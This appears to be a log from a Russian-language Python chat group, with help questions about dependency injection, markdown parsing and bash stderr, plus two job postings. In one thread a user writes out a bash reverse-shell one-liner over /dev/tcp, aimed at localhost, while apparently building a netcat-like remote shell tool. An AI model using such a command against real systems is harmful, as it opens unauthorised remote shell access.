Dmitri
Народ, посоветуйте сокращатель ссылок не яндекс и не вк? С АПИ
Tishka17
депенденси инджектор?
ок, погуглю варианты
Прошу тебя, не бери такую вещь как DI-фреймворк. Их неосторожное использование приведет к тем же проблемам что синглтоны или глобальные переменные. Сначала сделай руками DI. Как только граф объектов станет слишком большим (ну штук 50), уже можешь смотреть что там автоматизировать можно
Tishka17
Alex
Alex
ssh или ansible, как правильно отметил оратор выше
Dima
Dima
доделаю эту хрень, и попробую реализовать на ssh или ansible
Tishka17
ssh 192.168.1.1 "echo 123"
Tishka17
Дмитрий
Tishka17
Alex
Tishka17
пишут, что DI так же нарушает принцип инверсии зависимостей
Внедрение зависимости (англ. Dependency injection, DI) — процесс предоставления внешней зависимости программному компоненту. Является специфичной формой «инверсии управления» (англ. Inversion of control, IoC), когда она применяется к управлению зависимостями.
Alex
DI это один из механизмов реализующих принцип инверсии зависимостей.
Dima
i'll be back😁
Olga
#вакансия #удаленка #python #lead
Всем добрый день!
Ищем Python Team Lead в нашу команду (диалоговая платформа с привлечением искусственного интеллекта).
Условия: удаленная работа full-time, компенсация 200-350k RU + опционы и бонусы. Достойное железо, дополнительные мониторы и всё, что нужно для продуктивной работы.
Чем предстоит заниматься:
- Работать в продуктовой самодостаточной команде по гибким методологиям, тесно взаимодействовать с продактом,
- Организация работы команды разработки,
- Проектирование архитектуры продукта и новых микросервисов,
- Разработка технически сложных решений или их отдельных компонентов,
- Улучшение масштабируемости, производительности и надежности продукта.
Нужны такие навыки:
- Разработка архитектуры системы (обязательный уклон в микросервисы, понимание горизонтально масштабируемых систем),
- Разработка архитектуры БД,
- Глубокое понимание принципов объектно-ориентированного подхода,
- Опыт управления документацией технических решений,
- Декомпозиция пользовательских историй на технические задачи,
- Разработка и уточнение технических требований на основе имеющихся бизнес-требований,
- Оценка сроков и трудоемкости задач, умение ставить цели продукта в приоритет,
- Управление и развитие команды, балансировка нагрузки на участников команды,
- Умение работать в Agile командах (Scrum), понимание User Stories, понимание velocity и фокус-фактора.
Стек:
- Python, asyncio, aiohttp,
- NodeJS, TypeScript,
- ReactJS, GraphQL,
- PostgreSQL,
- Redis, RabbitMQ, Docker, Kubernetes, Nginx, Prometheus, Gitlab (VCS, CI/CD, Registry), Pytest, Selenium.
Пишите пожалуйста в личку, всё расскажу! @pppmint
Дмитрий
Dima
если команда не существует, то bash не отправляет output, т.е. ошибку. можно сделать чтобы он отправлял?
Rin
Есть короткий код, https://pastebin.com/daWUFJKC
Не получается преобразовать текст из markdown в html, что не так? Где ошибка?
for message in client.iter_messages(channel_cli,limit = 20):
print(markdown2.markdown(message.text))
Rin
Если есть переносы, то теги форматирование не заменяется
Tishka17
Alex
Dima
💩
Alex
ибо если это не учебная задача - то ты делаешь в корне неверно
Alex
Dima
подскажите, пожалуйста, как ловить stderr баша
Alex
перенаправить stderr в stdout
Dima
Alex
Dima
т.е. теперь запрос будет bash -i >/dev/tcp/127.0.0.1/1234 2>&1 ?
Alex
какой нахрен запрос
Alex
Dima
извиняюсь - подключилось, но очень странно работает. выглядит как будто один терминал наложили на другой.
Tishka17
дык там два потока. stderr и stdout
Tishka17
они наложились
Alex
да, потому что ему начал баш в stderr слать PS1
Dima
смотрите. можно сделать следующее? если stderr пустой, то отсылается только stdout, и наоборот. чтобы оно выглядело нормально.
Die young
ребят, помогите советом. На данном этапе нужно отточить работу с циклами и условиями нормальными(алгоритмами), решаю задачи на кодварс и хакеранк, спрашивал про бесплатные курсы,все советуют степика(к тому же прошел егоуже на 70 процентов), а они мне оч не нравятся, может посоветуете че?
Alex
Die young
Tishka17
Dima
например когда ошибок нет
Dima
можна даже так, что бы было как в неткате. если там ввел ошибку, ничего просто не выводиться, но цикл при этом не останавливается.
Alex
Alex
я ощущаю что он спрашивает про select()
Dima
нет. это совсем не связано с select(). я кидал вам код. там циклу нужен какой-то output, чтобы продолжать. а когда ошибка - этого output'а нет. вот в чём проблема. timeout ставить не вариант.
Tishka17
зачем циклу output чтобы продолжать?
Tishka17
ты вообще в курсе как баш работает?
Юлия
#работа #офис #москва
Всем привет, я Юля - IT HR продуктовой компании Admitad.
Ищу двух Python разработчиков в Москву для усиления команды Backend’а нашей платформы. Стек: Flask, Django, Mongo, PostgreSQL, Redis, Celery, RabbitMQ, Docker. Живем по Kanban. Подробнее:
https://hh.ru/vacancy/32090054
https://hh.ru/vacancy/32046627
Находимся на Дмитровской. ТК РФ, полностью белые, ДМС со стоматологией, комната с playstation, фрукты и завтраки в офисе, обучение за счет компании.
Нужен Middle или Senior, по деньгам от 140 к (net) и дальше в плюс в зависимости от скиллов.
Верхней вилки нет.
Если заинтересовало - пишите в личку или откликайтесь на hh.ru.
Tishka17
о, адмитад. минимальная ЗП потихоньку растет
Co(n)stantine👨🔬
Richard
Tishka17
почему же. я отказался
Tishka17
да не, просто проект не по мне
Anonymous
Привет ребят я новичек в питоне , не подскажите что можно сделать в python 3 ?
Алексей
Anonymous
Если не сложно то в лс )
Anonymous
Алексей
Он же turing-complete
Anonymous
Алексей
Ну может кроме ос
Tigran
Anonymous
Он актуален на 2019 год вообще ?
Alex
Tishka17
Anonymous
Я только начал изучать его , сколько по времени я на него потрачу ?